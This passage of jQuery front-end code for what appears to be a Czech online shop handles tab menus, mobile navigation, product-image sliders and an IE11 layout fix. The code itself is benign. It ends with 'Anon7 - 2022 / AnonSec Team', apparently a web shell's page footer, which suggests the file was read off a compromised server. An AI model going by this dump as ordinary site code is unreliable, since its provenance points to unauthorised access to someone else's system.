            $(tento).closest(".main-tab-menu").find(".main-tab-menu-content-item").removeClass("active");
            $(tento).closest(".main-tab-menu").find(".main-tab-menu-tab-item").removeClass("active");
            $(tento).closest(".main-tab-menu").find(".main-tab-menu-content-item[data-tab='3']").addClass("active");
            $(tento).closest(".main-tab-menu").find(".main-tab-menu-tab-item[data-tab='3']").addClass("active");
            $(this).remove();
        });

        $(".main-tab-menu").each(function () {
            tento = $(this);

            if (viewportWidth < 768) {

                if ($(tento).hasClass("main-tab-menu--content")) {
                    $(tento).find(".main-tab-menu-content-item[data-tab='1']").addClass("active");
                    $(tento).find(".main-tab-menu-tab-item[data-tab='1']").addClass("active");
                }
            }

        });

    });
})(jQuery);


/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */
/* přepínač horního menu */

(function ($) {

    $(document).ready(function () {
        var currentUrl = window.location.pathname;
        var viewportWidth = $(window).width();

        $(".main-tab-menu-content-item").each(function () {
            var tento = $(this);
            var pageNumber = $(tento).data("tab");

            if ($(tento).find(".main-menu-wrap").length > 0) {

                $(tento).find('li a').each(function () {
                    var linkUrl = $(this).attr("href");

                    if (linkUrl == currentUrl) {
                        $(this).addClass("active");

                        if (viewportWidth > 767) {
                            $(tento).closest(".main-tab-menu").find(".main-tab-menu-content-item").removeClass("active");
                            $(tento).closest(".main-tab-menu").find(".main-tab-menu-tab-item").removeClass("active");
                            $(tento).closest(".main-tab-menu").find(".main-tab-menu-content-item[data-tab='" + pageNumber + "']").addClass("active");
                            $(tento).closest(".main-tab-menu").find(".main-tab-menu-tab-item[data-tab='" + pageNumber + "']").addClass("active");
                        }
                    }
                });
            }
        });
    });
})(jQuery);

/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */
/* Vrchní mobilní menu */

$(document).ready(function () {

    $(".js-mobile-menu-menu").click(function (event) {
        event.preventDefault();
        $("body").toggleClass("mobile-menu-menu-active").removeClass("mobile-menu-search-active").removeClass("mobile-menu-phone-active");
    });

    $(".js-mobile-menu-search").click(function (event) {
        event.preventDefault();
        $("body").toggleClass("mobile-menu-search-active").removeClass("mobile-menu-menu-active").removeClass("mobile-menu-phone-active");
    });

    $(".js-mobile-menu-phone").click(function (event) {
        event.preventDefault();
        $("body").toggleClass("mobile-menu-phone-active").removeClass("mobile-menu-search-active").removeClass("mobile-menu-menu-active");
    });
});

/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */
/* Rozklikávání submenu v menu v mobilní verzi */

$(document).ready(function () {

    $(".menu-sub-item-grower").click(function () {

        $(this).parent("li").toggleClass("active");
    });
});

/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */
/* zrušení odkazů na neaktivních odkazech promozone */

$(document).ready(function () {

    $(".promozone-menu-item--unactive").click(function (event) {
        event.preventDefault();
    });
});

/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */
/* scroll na div s id */

$(document).ready(function () {

    $(".js-scroll-to").click(function (event) {
        event.preventDefault();
        var link = $(this).attr('href');

        $('html, body').animate({
            scrollTop: $(link).offset().top
        }, 2000);
    });
});

/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */
/* přepínání jazyka na podstránce o nás */

$(document).ready(function () {

    $(".o-nas-languages a").click(function (event) {
        event.preventDefault();
        var language = $(this).attr('data-language');

        $(".o-nas-languages li").removeClass("active");
        $(this).parent("li").addClass("active");

        $(".o-nas").removeClass().addClass("o-nas").addClass("o-nas-wrap-lang-" + language);
    });
});

/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */
/* funkčnost tlačtka Vytvořit cenovou nabídku na detailu produktu */

$(document).ready(function () {

    $("#detail-create-price-offer2").click(function (event) {
        event.preventDefault();

        $(".detail-create-offer-wrap2").toggleClass("active");
    });

    $("#detail-create-price-offer").click(function (event) {
        event.preventDefault();

        $(".detail-create-offer-wrap").toggleClass("active");
    });
});

$(document).mouseup(function (e) {
    var container = $(".detail-create-offer-wrap");

    // if the target of the click isn't the container nor a descendant of the container
    if (!container.is(e.target) && container.has(e.target).length === 0) {
        container.removeClass("active");
    }
});

/* Správné zobrazení menu v ie11 */

$(document).ready(function () {
    unFlexMenu("#menu_themes");
    unFlexMenu("#menu_categories");
});

function isIE11 () {
    return ((navigator.appName == 'Microsoft Internet Explorer') || ((navigator.appName == 'Netscape') && (new RegExp("Trident/.*rv:([0-9]{1,}[\.0-9]{0,})").exec(navigator.userAgent) != null)));
}

function unFlexMenu (element) {
    let jeIe = isIE11();
    let menuElement = $(element);
    let sirkaMenu = menuElement.width();
    let sirkaRadku = 0;
    let pocetBunek = 0;
    let iteraceBunky = 0;
    let vsechnySirky = [];

    if (jeIe) {
        menuElement.addClass("main-tab-menu-content-item--noflex");

        $(element + " > ul > li").each(function () {
            ++iteraceBunky;
            sirkaRadku = sirkaRadku + $(this).width();
            ++pocetBunek;
            vsechnySirky[iteraceBunky] = $(this).width();

            if (sirkaRadku > sirkaMenu) {
                vsechnySirky.pop();
                unFlexMenuNastavRadky((iteraceBunky - pocetBunek + 1), (pocetBunek - 1), vsechnySirky, element);
                sirkaRadku = $(this).width();
                pocetBunek = 1;
                vsechnySirky = [];
                vsechnySirky[iteraceBunky] = sirkaRadku;
            }
        });

        unFlexMenuNastavRadky((iteraceBunky - pocetBunek + 1), (pocetBunek), vsechnySirky, element);
    }
}

function unFlexMenuNastavRadky (pocatek, pocetPrvku, sirkyPrvku, element) {
    let menuElement = $(element);
    let sirkaMenu = menuElement.width();
    let iteraceBunky = 0;
    let soucetBunek = 0;
    for (let i = pocatek; i < (pocetPrvku + pocatek); i++) {
        soucetBunek += sirkyPrvku[i];
    }
    let sirkaNavic = (sirkaMenu - soucetBunek) / pocetPrvku;
    for (let i = pocatek; i < (pocetPrvku + pocatek); i++) {
        sirkyPrvku[i] = sirkyPrvku[i] + sirkaNavic;
    }

    $(element + " > ul > li").each(function () {
        ++iteraceBunky;
        tento = $(this);

        if ((iteraceBunky >= pocatek) && (iteraceBunky < (pocatek + pocetPrvku))) {
            tento.css("width", sirkyPrvku[iteraceBunky]);
        }
    });
}


/* Bootstrap tooltip */

$(document).ready(function () {
    $('[data-toggle="tooltip"]').tooltip();
});

/* slider obrázků a produktů na detailu produktu */

$(document).ready(function () {
    var windowWidth = $(window).width();

    $('.product-subimages').slick({
        infinite: false,
        slidesToShow: 4,
        slidesToScroll: 4
    });

    if (windowWidth < 691) {

        $(".product-mobil-image__item").each(function () {
            var thisImage = "<img src='" + $(this).attr("data-image") + "'>";
            $(this).append(thisImage);
        });

        $('.product-mobile-image').slick({
            infinite: false,
            slidesToShow: 1,
            slidesToScroll: 1,
            dots: true,
            arrows: false
        });
    }

    $('.product-variant-images').slick({
        infinite: false,
        slidesToShow: 3,
        slidesToScroll: 3,
        responsive: [
            {
              breakpoint: 1830,
              settings: {
                infinite: false,
                slidesToShow: 2,
                slidesToScroll: 2
              }
            },
        ]
    });
});


/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */
/* boční slider */

$(document).ready(function () {
    var numBanners = $("#side_banners > a").length;

    if (numBanners > 1) {
        $('#side_banners').bxSlider({
            touchEnabled: false,
            oneToOneTouch: false,
            auto: true,
            pause: 8000
        });
    }
});

/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */
/* filtry */

$(function () {
    if (jQuery().iCheck) {
        $('.menu-filter input').iCheck();

    }
});

function showRegistrationForm () {

    if ($("[data-type]").length == 1) {
        $("[data-type]").click();
    } else {
        setTimeout(function () { showRegistrationForm() }, 300);
    }
}
$(document).ready(function () {
    let searchParams = new URLSearchParams(window.location.search);
    let param = searchParams.get('show');

    if (param == 'registration') {
        $('.js-autoshow').click();
        showRegistrationForm();
    }

    interval(function () {
        $(".newIcon").effect("shake", { direction: "up", times: 3, distance: 3 }, 500);
    }, 5000, 20);

});

function interval (func, wait, times) {
    var interv = function (w, t) {
        return function () {
            if (typeof t === "undefined" || t-- > 0) {
                setTimeout(interv, w);
                try {
                    func.call(null);
                }
                catch (e) {
                    t = 0;
                    throw e.toString();
                }
            }
        };
    }(wait, times);

    setTimeout(interv, wait);
};

Anon7 - 2022
AnonSec Team